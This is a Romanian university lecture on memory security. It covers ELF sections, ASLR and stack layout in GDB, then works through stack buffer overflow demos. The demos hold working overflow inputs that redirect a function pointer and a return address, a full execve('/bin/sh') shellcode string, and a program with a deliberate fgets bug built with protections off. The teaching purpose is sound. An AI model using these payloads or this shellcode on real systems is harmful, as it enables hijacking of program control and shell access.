Curs 07 - Securitatea memoriei

Demo-uri

Pentru parcurgerea demo-urilor, folosim arhiva aferentă. Demo-urile rulează pe Linux. Descărcăm arhiva folosind comanda

wget http://elf.cs.pub.ro/so/res/cursuri/curs-07-demo.zip

și apoi decomprimăm arhiva

unzip curs-07-demo.zip

și accesăm directorul rezultat în urma decomprimării

cd curs-07-demo/

Acum putem parcurge secțiunile cu demo-uri de mai jos.

Secțiuni și adrese în cadrul unui fișier executabil

Dorim să urmărim adresele secțiunilor și simbolurilor în cadrul unui fișier executabil de tip ELF (Executable and Linking Format). Pentru aceasta accesăm subdirectorul exec-addr/; urmărim conținutul fișierului exec-addr.c. În acest fișier definim variabile globale și afișăm adresele acestor variabile și a funcțiilor din modul. Vom observa că adresele variabilelor globale și a funcțiior sunt cunoscute de la link-time, în momentul link-editării și a obținerii executabilului.

Compilăm programul folosind make.

Pentru început investigăm simbolurile din executabil. Ne interesează variabilele globale și funcțiile așa că vom rula comanda de afișare a simbolurilor din care vom extrage liniile de interes:

user@host:$ objdump --syms exec-addr | grep '\(exec_\| main\|simple_func\)'
0000000000600da0 l     O .data	0000000000000004              exec_static_int_global
000000000040076b l     F .text	000000000000001a              simple_func
0000000000600dc4 g     O .bss	0000000000000004              exec_int_global_noinit
0000000000600da4 g     O .data	0000000000000004              exec_int_global
00000000004008b8 g     O .rodata	0000000000000006              exec_array_ro
0000000000400785 g     F .text	000000000000009c              main

Prin rularea comenzii objdump de mai sus afișăm informații despre simboluri, în format pe coloane, astfel:

  • În prima coloană sunt adresele simbolurilor. Aceste adrese se vor regăsi întocmai în proces (vom vedea în continuare). Adresele pot să difere în cazul obținerii executabilului pe alt sistem.
  • A doua coloană este tipul simbolului. Simbolurile statice sunt marcate cu l (local) pentru că vor fi locale modulului. Celelalte sunt marcate cu g (global) și vor putea fi exportate în alte module.
  • A patra coloană este secțiunea din executabil unde este alocat simbolul. Simbolul este alocat în modul încă de la compile-time. Secțiunile sunt după cum urmează:
    • .data: variabile globale inițializate
    • .bss: variabile globale neinițializate
    • .rodata: variabile globale de tip read-only
    • .text: zonă de cod/instrucțiuni (pentru funcții)
  • A cincea coloană este spațiul ocupat de simbol. Variabilele întregi ocupă sizeof(int) = 4 octeți, șirul de caractere ocupă 6 octeți (incluzând NUL-terminatorul) iar funcțiile ocupă spațiul dat de codul acestora.

Observăm că zona de date read-only (.rodata) este apropiată de zona de cod (.text) ambele fiind zone care nu pot fi scrise.

Ca să verificăm faptul că adresele precizate în executabil se vor regăsi și în momentul rulării procesului, la run-time, rulăm executabilul:

$ ./exec-addr 
Inside simple_func
 
Run-time addresses are:
&exec_static_int_global: 0x600da0
&exec_int_global: 0x600da4
&exec_int_global_noinit: 0x600dc4
&exec_array_ro: 0x4008b8
&simple_func: 0x40076b
&main: 0x400785
 
Run `pmap -p $(pidof exec-addr)' to show process map.
 
     Press ENTER to continue ...

Observăm din rezultatul rulării că adresele de la run-time sunt aceleași cu cele din executabil.

După cum ni se indică la rulare, vom rula pmap pentru a consulta spațiul virtual de adresă al procesului:

$ pmap -p $(pidof exec-addr)
13545:   ./exec-addr
0000000000400000      4K r-x-- /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/exec-addr/exec-addr
0000000000600000      4K rw--- /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/exec-addr/exec-addr
00007fd884842000   1664K r-x-- /lib/x86_64-linux-gnu/libc-2.18.so
00007fd8849e2000   2044K ----- /lib/x86_64-linux-gnu/libc-2.18.so
00007fd884be1000     16K r---- /lib/x86_64-linux-gnu/libc-2.18.so
00007fd884be5000      8K rw--- /lib/x86_64-linux-gnu/libc-2.18.so
00007fd884be7000     16K rw---   [ anon ]
00007fd884beb000    128K r-x-- /lib/x86_64-linux-gnu/ld-2.18.so
00007fd884dcf000     12K rw---   [ anon ]
00007fd884e06000     16K rw---   [ anon ]
00007fd884e0a000      4K r---- /lib/x86_64-linux-gnu/ld-2.18.so
00007fd884e0b000      4K rw--- /lib/x86_64-linux-gnu/ld-2.18.so
00007fd884e0c000      4K rw---   [ anon ]
00007fffb51d1000    132K rw---   [ stack ]
00007fffb51fe000      8K r-x--   [ anon ]
ffffffffff600000      4K r-x--   [ anon ]
 total             4068K

Legat de partea de executabil, observăm că avem două pagini (4K) mapate din executabilul exec-addr. Una este readable/executable (r-x) și începe de la adresa 0x400000, iar alta este readable/writable (rw-) și începe de la adresa 0x600000. În prima pagină sunt mapate secțiunile .text și .rodata, iar în cealaltă sunt mapate secțiunile .data și .bss; observăm acest lucru pe baza adreselor.

Adrese pentru biblioteci partajate

Vrem să vedem cum ajung informațiile (date și instrucțiuni) dintr-o bibliotecă partajată într-un executabil. Pentru aceasta urmărim rularea comenzii pmap de la secțiunea anterioară.

În cadrul comenzii observăm că atât fișierul executabil care a generat procesul (exec-addr) cât și fișierele de tip bibliotecă partajată sunt mapate în memorie. Fișierele de tip bibliotecă partajată sunt tot fișiere ELF, cu secțiuni și simboluri similare unui fișier executabil obișnuit. Observăm că pentru fiecare bibliotecă avem, în cadrul procesului (output-ul comenzii) mai multe zone de dimensiuni și permisiuni diferite, mapate în spațiul de adresă al procesului. Astfel, pentru o bibliotecă putem avea:

  • o zonă readable/executable (r-x) pentru cod/instrucțiuni (secțiunea .text)
  • o zonă read-only (r–) pentru date read-only (secțiunea .rodata)
  • o zonă read-write (rw-) pentru date read-write (secțiunile .data, .bss)

Bibliotecile dinamice nu sunt, în general, mapate la o adresă predefinită. De aceea, dacă rulăm de mai multe ori executabilul și apoi comanda pmap vom vedea că zonele din biblioteci sunt mapate la adrese diferite de fiecare dată. Acest lucru se întâmplă din rațiuni de securitate folosind ASLR (Address Space Layout Randomization). Dacă un atacator vrea să folosească adrese din cadrul spațiului de adresă al procesului îi va fi dificil pentru că nu știe unde sunt mapate.

Acest lucru poate fi observat prin rularea de mai multe ori a comenzii ldd peste executabil. La fiecare rulare va fi vorba de altă adresă unde va fi mapată biblioteca:

$ ldd exec-addr
	linux-vdso.so.1 (0x00007fff399fe000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8614d8a000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f861516b000)
$ ldd exec-addr
	linux-vdso.so.1 (0x00007fff7a7b4000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff7c3dfc000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ff7c41dd000)

Stiva unui proces

Dorim să urmărim evoluția stivei unui proces raportat la fluxul de execuție al acestuia (apeluri de funcții și rulare de instrucțiuni). Pentru aceasta accesăm subdirectorul stack/; urmărim conținutul fișierului stack.c. În acest fișier din funcția main apelăm funcția read_data; funcția read_data definește un pointer de funcție (func_ptr) și un buffer (buffer). Pe moment nu ne interesează funcționalitatea mai mult de atât.

Compilăm programul folosind make.

Pornire proces

Vrem să urmărim evoluția stivei în momentul în care programul apelează funcția read_data. Pentru aceasta vom rula programul în debugger (gdb) și vom afișa codul dezasamblat, stiva, registrul de stivă/stack pointer-ul (esp), registrul de instrucțiune/instruction pointer-ul/program counter-ul (eip) sau frame pointer-ul (ebp).

Pentru început pornim programul și investigăm codul dezasamblat, instruction pointer-ul, stack pointer-ul și stiva:

$ gdb -q ./stack
Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/stack...done.
(gdb) b main
Breakpoint 1 at 0x80485aa: file stack.c, line 37.
(gdb) run
Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/./stack 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
 
Breakpoint 1, main () at stack.c:37
37		size_t len = 0;
(gdb) disassemble
Dump of assembler code for function main:
   0x080485a1 <+0>:	push   %ebp
   0x080485a2 <+1>:	mov    %esp,%ebp
   0x080485a4 <+3>:	and    $0xfffffff0,%esp
   0x080485a7 <+6>:	sub    $0x20,%esp
=> 0x080485aa <+9>:	call   0x804853f <read_data>
   0x080485af <+14>:	mov    %eax,0x1c(%esp)
   0x080485b3 <+18>:	mov    0x1c(%esp),%eax
   0x080485b7 <+22>:	mov    %eax,0x4(%esp)
   0x080485bb <+26>:	movl   $0x80486b8,(%esp)
   0x080485c2 <+33>:	call   0x8048390 <printf@plt>
   0x080485c7 <+38>:	mov    $0x0,%eax
   0x080485cc <+43>:	leave  
   0x080485cd <+44>:	ret
End of assembler dump.
(gdb) p $eip
$1 = (void (*)()) 0x80485aa <main+9>
(gdb) p $esp
$2 = (void *) 0xffffd290
(gdb) x/2wx $esp
0xffffd290:	0x00000001	0xffffd354

În secvența de mai sus, am folosit breakpoint pentru main și apoi am rulat programul până la breakpoint. Instruction pointer-ul este la începutul programului (adresa 0x80485aa), iar stack pointer-ul are valoarea 0xffffd290. Pe stivă se găsesc valori random din ceea ce era anterior pe stivă.

Apelare de funcție

Următoarea instrucțiune care va fi rulată va fi apelul funcției read_data. Este vorba de instrucțiunea:

=> 0x080485aa <+9>:	call   0x804853f <read_data>

Verificăm faptul că aceea este adresa funcției și apoi executăm acea instrucțiune; folosim si: step instruction:

(gdb) p read_data
$1 = {size_t (void)} 0x804853f <read_data>
(gdb) si
read_data () at stack.c:23
23	{
(gdb) disassemble
Dump of assembler code for function read_data:
=> 0x0804853f <+0>:	push   %ebp
   0x08048540 <+1>:	mov    %esp,%ebp
   0x08048542 <+3>:	sub    $0x38,%esp
   0x08048545 <+6>:	movl   $0x804850d,-0xc(%ebp)
   0x0804854c <+13>:	movl   $0x10,0x8(%esp)
   0x08048554 <+21>:	movl   $0x41,0x4(%esp)
   0x0804855c <+29>:	lea    -0x1c(%ebp),%eax
   0x0804855f <+32>:	mov    %eax,(%esp)
   0x08048562 <+35>:	call   0x8048400 <memset@plt>
   0x08048567 <+40>:	movl   $0x8048690,(%esp)
   [...]
(gdb) p $eip
$2 = (void (*)()) 0x804853f <read_data>
(gdb) p $esp
$3 = (void *) 0xffffd28c
(gdb) x/3wx $esp
0xffffd28c:	0x080485af	0x00000001	0xffffd354

În rularea de mai sus am verificat faptul că apelul call se face către funcția read data și apoi facem apelul cu ajutorul operației si (step instruction) din GDB. Ca urmare a acestui apel au loc următoarele schimbări, echivalente pentru call:

  • Se face loc pe stivă, adică stack pointer-ul este decrementat cu dimensiunea cuvântului procesului (32 de biți, 4 octeți) de la valoarea 0xffffd290 la valoarea 0xffffd28c.
  • Se scrie în acel loc pe stivă valoarea instruction pointer-ului, adică adresa următoarei instrucțiuni, în cazul nostru 0x080485af.
  • Se sare la adresa funcției read_data, adică 0x0804853f.

În pseudo-assembly, cele de mai sus pot fi considerate ca:

pushl   %eip          ; equivalent to pushl 0x080485af
jmp     read_data     ; equivalent to jmp 0x0804853f

Alocare spațiu pentru buffer local

După saltul la funcție se execută instrucțiunile din acea funcție. Primele instrucțiuni vor salva pe stivă, după adresa de retur, fostul framepointer (ebp) și vor plasa noul frame pointer în poziția curentă a stivei. Pe stivă vom avea, de sus în jos:

  • adresa de retur
  • fost frame pointer

Valoarea actuală a frame pointer-ului referă o adresă unde este stocat frame pointer-ul. Patru octeți mai sus este stocată adresa de retur.

Pentru a executa aceste două instrucțiuni rulăm de două ori comanda si (step instruction):

(gdb) si
0x08048540	23	{
(gdb) si
0x08048542	23	{
(gdb) disassemble 
Dump of assembler code for function read_data:
   0x0804853f <+0>:	push   %ebp
   0x08048540 <+1>:	mov    %esp,%ebp
=> 0x08048542 <+3>:	sub    $0x38,%esp
   0x08048545 <+6>:	movl   $0x804850d,-0xc(%ebp)
   0x0804854c <+13>:	movl   $0x10,0x8(%esp)
   0x08048554 <+21>:	movl   $0x41,0x4(%esp)
   0x0804855c <+29>:	lea    -0x1c(%ebp),%eax
   0x0804855f <+32>:	mov    %eax,(%esp)
   0x08048562 <+35>:	call   0x8048400 <memset@plt>
   [...]
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p $esp
$4 = (void *) 0xffffd288
(gdb) p $ebp
$5 = (void *) 0xffffd288
(gdb) x/4wx $ebp
0xffffd288:	0xffffd2b8	0x080485af	0x00000001	0xffffd354

În urma acestor pași stack pointer-ul a mai scăzut cu încă un cuvânt de procesor (32 de biți, 4 octeți) la valoare 0xffffd288. Frame pointer-ul are aceeași valoare și, pe stivă, se găsește acum:

  • valoarea fostului frame pointer (0xffffd2b8)
  • adresa de retur a funcției (0x080385af)

În continuare se rezervă spațiu pe stivă (0x38 - 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai mult spațiu. Stack pointer-ul va fi decrementat cu 0x38 octeți. Ținând cont de actuala valoare (0xffffd288) rezultă că noua valoare va fi 0xffffd288 - 0x38 = 0xffffd250. Verificăm acest lucru executând o nouă instrucțiune, folosind si (step instruction) în GDB:

(gdb) si
24		void (*func_ptr)(void) = actual_func;
(gdb) disassemble 
Dump of assembler code for function read_data:
   0x0804853f <+0>:	push   %ebp
   0x08048540 <+1>:	mov    %esp,%ebp
   0x08048542 <+3>:	sub    $0x38,%esp
=> 0x08048545 <+6>:	movl   $0x804850d,-0xc(%ebp)
   0x0804854c <+13>:	movl   $0x10,0x8(%esp)
   0x08048554 <+21>:	movl   $0x41,0x4(%esp)
   0x0804855c <+29>:	lea    -0x1c(%ebp),%eax
   0x0804855f <+32>:	mov    %eax,(%esp)
   0x08048562 <+35>:	call   0x8048400 <memset@plt>
   0x08048567 <+40>:	movl   $0x8048690,(%esp)
   [...]
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p $esp
$6 = (void *) 0xffffd250

Se schimbă într-adevăr valoarea stack pointer-ului.

Adresă buffer pe stivă

Vrem să vedem unde este alocat buffer-ul pe stivă. Pe lângă urmărirea codului în assembly, am decis să folosim memset pentru a umple buffer-ul cu valori 0x41. Folosim operații ni (next instruction) pentru a trece de apelul memset, adică să ajungem la linia movl $0x8048690,(%esp)':

(gdb) ni
24		void (*func_ptr)(void) = actual_func;
(gdb) ni
27		memset(buffer, 'A', 16);
(gdb) ni
0x08048554	27		memset(buffer, 'A', 16);
(gdb) ni
0x0804855c	27		memset(buffer, 'A', 16);
(gdb) ni
0x0804855f	27		memset(buffer, 'A', 16);
(gdb) ni
0x08048562	27		memset(buffer, 'A', 16);
(gdb) ni
28		printf("Insert message (less than 16 bytes): ");
(gdb) disassemble 
Dump of assembler code for function read_data:
   0x0804853f <+0>:	push   %ebp
   0x08048540 <+1>:	mov    %esp,%ebp
   0x08048542 <+3>:	sub    $0x38,%esp
   0x08048545 <+6>:	movl   $0x804850d,-0xc(%ebp)
   0x0804854c <+13>:	movl   $0x10,0x8(%esp)
   0x08048554 <+21>:	movl   $0x41,0x4(%esp)
   0x0804855c <+29>:	lea    -0x1c(%ebp),%eax
   0x0804855f <+32>:	mov    %eax,(%esp)
   0x08048562 <+35>:	call   0x8048400 <memset@plt>
=> 0x08048567 <+40>:	movl   $0x8048690,(%esp)
   0x0804856e <+47>:	call   0x8048390 <printf@plt>
   [...]
---Type <return> to continue, or q <return> to quit---q

În continuare vrem să afișăm conținutul stivei între frame pointer + 4 (unde se găsește adresa de retur) până la poziția curentă a stack pointer-ului. Folosim o expresie while specifică GDB:

(gdb) set $pos=0
(gdb) while ($pos <= ($ebp+4-$esp))
 >x/wx $ebp+4-$pos
 >set $pos=$pos+4
 >end
0xffffd28c:	0x080485af
0xffffd288:	0xffffd2b8
0xffffd284:	0x0000002f
0xffffd280:	0xffffd4cf
0xffffd27c:	0x0804850d
0xffffd278:	0x41414141
0xffffd274:	0x41414141
0xffffd270:	0x41414141
0xffffd26c:	0x41414141
0xffffd268:	0xf7e05bf8
0xffffd264:	0xffffd28e
0xffffd260:	0xffffffff
0xffffd25c:	0xf7e8e056
0xffffd258:	0x00000010
0xffffd254:	0x00000041
0xffffd250:	0xffffd26c
(gdb) p $ebp
$1 = (void *) 0xffffd288
(gdb) p $esp
$2 = (void *) 0xffffd250
(gdb) p &func_ptr
$3 = (void (**)(void)) 0xffffd27c
(gdb) p func_ptr
$4 = (void (*)(void)) 0x804850d <actual_func>
(gdb) p &buffer
$5 = (char (*)[16]) 0xffffd26c
(gdb) p buffer
$6 = 'A' <repeats 16 times>

În listing-ul de mai sus am afișat o parte din stivă, cuprinsă între (ebp+4 și esp). Sunt afișate astfel:

  • La adresa 0xffffd28c este adresa de retur: 0x080485af
  • La adresa 0xffffd288, unde pointează și frame pointer-ul ebp, se găsește valoarea fostului frame pointer: 0xffffd2b8.
  • Următoarele două cuvinte de procesor sunt spațiu liber, de gardă.
  • La adresa 0xffffd27c se găsește pointer-ul func_ptr conținând adresa funcției actual_func, adică 0x0804850d.
    • Acest lucru se poate observa și prin afișarea adresei și valorii simbolului func_ptr în GDB.
  • La adresa 0xffffd26c (16 octeți mai jos) se găsește buffer-ul buffer conținând 16 valori A (adică 0x41).
    • Acest lucru se poate observa și prin afișarea adresei și valorii simbolului buffer în GDB.
  • În continuare se găsește spațiu disponibil pe stivă cu valori nerelevante pentru contextul curent.

Observăm din cele de mai sus cum este așezat buffer-ul pe stivă și faptul că pointer de funcție func_ptr este exact deasupra sa. Practic, dacă facem buffer overflow, am putea suprascrie acel pointer cu o altă valoare.

Suprascriere de pointer de funcție

Un deziderat al unui atac este suprascrierea unui pointer de funcție. Vom face acest lucru direct în cod C, pentru valoare demonstrativă. Vom inițializa în fișierul stack.c la linia 24 pointerul func_ptr la valoarea inject_func.

Într-un prim pas, facem acest lucru prin schimbarea liniei 24 de la:

	void (*func_ptr)(void) = actual_func;

la

	void (*func_ptr)(void) = inject_func;

În acest moment, după compilare, se va afișa mesajul din funcția inject_func:

user@host:~$ make
gcc -Wall -Wextra -g -m32 -I../utils  -c -o stack.o stack.c
gcc -m32  stack.o   -o stack
user@host:~$ ./stack 
Insert message (less than 16 bytes): aaa
Call injected function.

Un mod mai “barbar” de a obține același lucru, dar mai apropiat de atacul propriu zis este să inițializăm pointer-ul func_ptr la adresa funcției inject_func. Aflăm din executabil adresa funcției inject_func:

$ objdump --syms stack | grep inject_func
08048521 g     F .text	0000001e              inject_func

și apoi schimbăm corespunzător linia 24 din fișierul stack.c:

	void (*func_ptr)(void) = (void (*)(void)) 0x08048521;

Am făcut cast la pointer de funcție void (*)(void) ca să prevenim warning-urile compilatorului.

Compilăm și rulăm programul cu efect rularea funcției inject_func:

$ make
gcc -Wall -Wextra -g -m32 -I../utils  -c -o stack.o stack.c
gcc -m32  stack.o   -o stack
$ ./stack 
Insert message (less than 16 bytes): ana
Call injected function.

În acest fel am forțat apelul unei alte funcții prin inițializarea pointer-ului func_ptr la adresa (în hexazecimal) a acelei funcții.

Stack buffer overflow pentru suprascriere pointer de funcție

Desigur, ne propunem un atac cât mai realist pentru suprascrierea pointer-ului de fucție func_ptr. Plasarea acestuia pe stivă deasupra buffer-ului buffer așa cum am indicat mai sus face posibilă executarea unui buffer overflow. Transmitem mai mult de 16 octeți la intrarea standard a programului (buffer-ul este definit ca ocupând 16 octeți, dar fgets e apelat greșit - vulnerabilitate) și suprascriem pointer-ul.

Pentru ca să transformăm bug-ul în vulnerabilitate trebuie să suprascriem pointer-ul cu o adresă convenabilă, adică adresa funcției inject_func, adică 0x08048521.

Pentru început refacem programul la starea sa inițială, adică refacem linia 24 la

	void (*func_ptr)(void) = actual_func;

și compilăm programul folosind make.

Pentru început haideți să scriem un octet mai mult decât 16 să vedem ce se întâmplă:

$ echo -n 'AAAAAAAAAAAAAAAAB' | ./stack 
Segmentation fault

Ce s-a întâmplat este că am suprascris o parte din pointer-ul func_ptr și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa indicată de func_ptr se transmite Segmentation fault.

Dorința noastră este să sărim la funcția inject_func. Pentru aceasta, după cei 16 octeți indicați de buffer, vom scrie octeții aferenți adresei funcției inject_func (adică 0x21, 0x85, 0x04, 0x08 – suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul func_ptr și vor forța saltul la funcția inject_func:

$ echo -en 'AAAAAAAAAAAAAAAA\x21\x85\x04\x08' | ./stack 
Insert message (less than 16 bytes): Call injected function.

Observăm că am “deraiat” execuția uzuală a programului, suprascriind un pointer de funcție prin intermediul unui buffer overflow și apelând o altă funcție. Dacă nu am fi generat buffer overflow, adică dacă am fi păstrat datele de intrare sub 16 octeți, programul s-ar fi comportat normal:

$ echo -en 'AAAAAAAAAAAAAAA' | ./stack 
Insert message (less than 16 bytes): Call actual function.
 
Read 15 bytes from standard input.

Stack buffer overflow pentru suprascriere adresă de retur

Foarte rar vom avea șansa să avem un pointer de funcție plasat convenabil deasupra unui buffer. De aceea unul dintre cele mai uzuale moduri în care putem să schimbăm fluxul de execuție al unui program (descris și în articolul Smashing the Stack for Fun and Profit) este suprascrierea adresei de retur. Dacă punem acolo o funcție convenabilă, va fi apelată o funcție nouă în loc să revină programul în locul inițial.

Pentru a face acest lucru trebuie să știm unde anume se găsește adresa de retur raportat la buffer. De mai sus știm că buffer-ul se găsește la adresa 0xffffd26c iar adresa de retur la adresa 0xffffd28c. Avem așadar o diferență de 0x20 = 32 de octeți. Dacă scriem 32 de caractere de orice fel (fie A) și apoi scriem adresa unei adrese de salt dorite, vom sări la acea adresă. La fel ca mai sus, vom folosi adresa funcției inject_func, adică 0x08048521.

Pentru acesta vom transmite la intrarea standard 32 de caractere A urmate de caracterele 0x21, 0x85, 0x04, 0x08 la fel ca mai sus (când am suprascris pointer-ul func_ptr); vom suprascrie așadar valoarea de retur de pe stack frame-ul funcției read_data. Efectul va fi apelarea funcției inject_func la ieșirea din funcția read_data.

Întrucât vom suprascrie inclusiv pointer-ul func_ptr vrem să nu mai fie acest apelat. De aceea comentăm linia 30:

//	func_ptr();

Apoi compilăm programul modificat folosind make. Vom primi warning de variabilă nefolosită pentru func_ptr dar îl ignorăm.

Pentru a genera atacul, rulăm o comandă python ca sa scriem mai ușor mai multe caractere de același tip (32 de caractere A, în cazul nostru) și urmărim efectul:

$ python -c 'print "A"*32 + "\x21\x85\x04\x08"' | ./stack 
Insert message (less than 16 bytes): Call injected function.

Observăm că am alterat fluxul normal de execuție al programului printr-un stack buffer overflow care a suprascris valoarea de retur a funcției read_data. Prin suprascrierea adresei de retur cu valoarea 0x08048521 (adresa funcției inject_func) am forțat apelarea funcției inject_func.

Shellcode

De multe ori dorim să injectăm cod în cadrul spațiului de adresă al unui proces, cod pe care apoi să îl executăm. Pentru a face acest lucru se creează mici bucăți de cod scrise direct în cod mașină care vor fi injectate și executate, bucăți denumite shellcode. În general, shellcode-ul are ca obiectiv obținerea unui shell, ceea ce pe Linux echivalează un apel execve("/bin/sh").

Pentru a urmări construcția și utilizarea unui shellcode accesăm subdirectorul shellcode/ și urmărim conținutul fișierului shellcode.s. Acesta este codificarea în limbaj de asamblare a unui apel de sistem execve. Este echivalent apelului C execve("/bin//sh", ["/bin//sh", NULL], NULL).

Ca să obținem shell-ul în forma sa binară, fișierul în limbaj de asamblare este compilat, este extrasă partea de cod și apoi transpusă în forma în hexazecimal folosită uzual în C, Python, Perl, Bash. Pentru aceasta folosim scriptul extract-shellcode:

$ ./extract-shellcode 
Shellcode string is: '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

Între apostroafe avem shellcode-ul. Acesta este forma binară (cod mașină) a instrucțiunilor în limbaj de asamblare din shellcode.s.

Pentru a folosi, la nivel demonstrativ, shellcode-ul, vom defini o variabilă pe care o vom inițializa la șirul de mai sus. Apoi vom forța saltul la adresa acelei variabile. Aceasta vom face în fișierul run-shellcode.c. La forma actuală a fișierului vom face două modificări:

  1. La linia 11 vom inițializa șirul shellcode la valoarea shellcode-ului. Modificăm linia de la
    static const char shellcode[] = "TODO";

    la

    static const char shellcode[] =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
  2. La linia 20 vom inițializa pointer-ul de funcție func_ptr la adresa shellcode-ului. Modificăm linia de la
    	void (*func_ptr)(void) = actual_func;

    la

    	void (*func_ptr)(void) = (void (*)(void)) shellcode;

Compilăm programul folosind make și apoi îl apelăm. Întrucât se apelează func_ptr se va apela shellcode, rezultând în apelul echivalent execve("/bin/sh") și deci pornirea unui nou shell:

user@host:~$ make
gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils  -c -o run-shellcode.o run-shellcode.c
gcc -m32 -z execstack  run-shellcode.o   -o run-shellcode
 
user@host:~$ ./run-shellcode 
Insert message (less than 32 bytes): aaa
 
$ exit
 
user@host:~$ 

Putem observa invocarea apelului de sistem execve prin folosirea strace:

$ strace -e execve ./run-shellcode 
execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0
[ Process PID=9084 runs in 32 bit mode. ]
Insert message (less than 32 bytes): aaaa
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
[ Process PID=9084 runs in 64 bit mode. ]

Primul apel execve a însemnat încărcarea executabilului curent run-shellcode, în vreme ce al doilea apel este exact apelul dat de shellcode, care creează un shell nou.

Stack buffer overflow cu shellcode

Dorim să supracriem adresa de retur a funcției read_data ca să refere shellcode-ul și să execute codul de acolo. Pentru aceasta trebuie să știm adresa shellcode-ului. Folosim objdump:

$ objdump --syms run-shellcode | grep ' shellcode'
08048610 l     O .rodata	0000001a              shellcode

Nu putem folosi construcția anterioară în care diferența între adresa de retur era de 32 de octeți. Acum bufferul este mai mare, este definit ca buffer[32]. Vom investiga folosind GDB. De asemenea, vom elimina de tot pointer-ul de funcție func_ptr, în așa fel încât funcția read_data are forma:

static size_t read_data(void)
{
	char buffer[32];
 
	memset(buffer, 'A', 32);
	printf("Insert message (less than 32 bytes): ");
	fgets(buffer, 64, stdin);
 
	return strlen(buffer);
}

Compilăm noul program folosind make.

Pentru a afla diferența între buffer și valorea de retur, folosim GDB:

$ gdb -q ./run-shellcode
Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/run-shellcode...done.
(gdb) b main
Breakpoint 1 at 0x8048550: file run-shellcode.c, line 33.
(gdb) run
Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/./run-shellcode 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
 
Breakpoint 1, main () at run-shellcode.c:33
33		len = read_data();
(gdb) si
read_data () at run-shellcode.c:19
19	{
(gdb) x/2wx $esp
0xffffd27c:	0x08048555	0x00000001
(gdb) p &buffer
$1 = (char (*)[32]) 0xffffd250

Mai sus, am realizat următorii pași:

  1. Am pornit GDB pe executabilul run-shellcode.
  2. Am pus breakpoint pe main și am rulat programul.
  3. Am avansat o instrucțiune (folosind sistep instruction) pentru a apela funcția read_data.
  4. Am afișat conținutul vârfului stivei pentru a afla adresa valorii de retur.
    • Adresa este 0xffffd27c iar valoarea de retur este 0x08048555.
  5. Am aflat adresa buffer-ului: 0xffffd250.

Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este 0xffffd27c - 0xffffd250 = 2c, adică 44 de octeți.

Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției fgets, 44 de caractere A (până la adresa de retur) urmată de octeții corespunzători adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului, adică 0x10, 0x86, 0x04, 0x08. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției read_data. Consecința va fi că încheierea funcției read_data, în locul revenirii în funcția main (funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului execve codificat în shellcode.

Pentru a executa operațiile de mai sus, folosim python la fel ca mai devreme. Scriem 44 de caractere A urmate de octeții corespunzători shellcode-ului:

$ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | ./run-shellcode

Programul pare să meargă dar nu obținem un shell. Acest lucru se întâmplă întrucât se închide, din pipe, intrarea standard și se închide și shell-ul însuși. Există metode de a face bypass la acest lucru, dar nu fac subiectul acestui demo. Pentru a confirma că se execută un shell, folosim strace:

$ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | strace -e execve ./run-shellcode 
execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0
[ Process PID=20114 runs in 32 bit mode. ]
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
[ Process PID=20114 runs in 64 bit mode. ]

Observăm de mai sus că am obținut într-adevăr execuția shellcode-ului, prin suprascrierea adresei de retur a funcției read_data. În final shellcode-ul a apelat un echivalent al execve("/bin/sh") care generează un shell.

Stack buffer overflow cu shellcode pe stivă

În mod evident, nu ne putem aștepta ca un shellcode să se găsească în codul sursă al programului. Shellcode-ul trebuie injectat într-o zonă în care putem scrie; cel mai simplu este chiar pe stivă, adică exact în cadrul bufferului. Apoi vom suprascrie adresa de retur a funcției read_data cu adresa de start a buffer-ului unde am scris shellcode-ul.

Pentru ca aceasta să funcționeze, trebuie să știm adresa buffer-ului. Din păcate (pentru atacator) avem în general activat ASLR (Address Space Layout Randomization). Prin urmare la diverse rulări buffer-ul nu va avea aceeași adresă (nu apare la GDB). Pentru a verifica asta, la programul anterior adăugăm, în funcția read_data apelul

	printf("buffer address: %p\n", buffer);

Compilăm și rulăm de mai multe ori:

user@host:~$ make
gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils  -c -o run-shellcode.o run-shellcode.c
gcc -m32 -z execstack  run-shellcode.o   -o run-shellcode
 
user@host:~$ ./run-shellcode 
Insert message (less than 32 bytes): aaa
buffer address: 0xff8db4d0
 
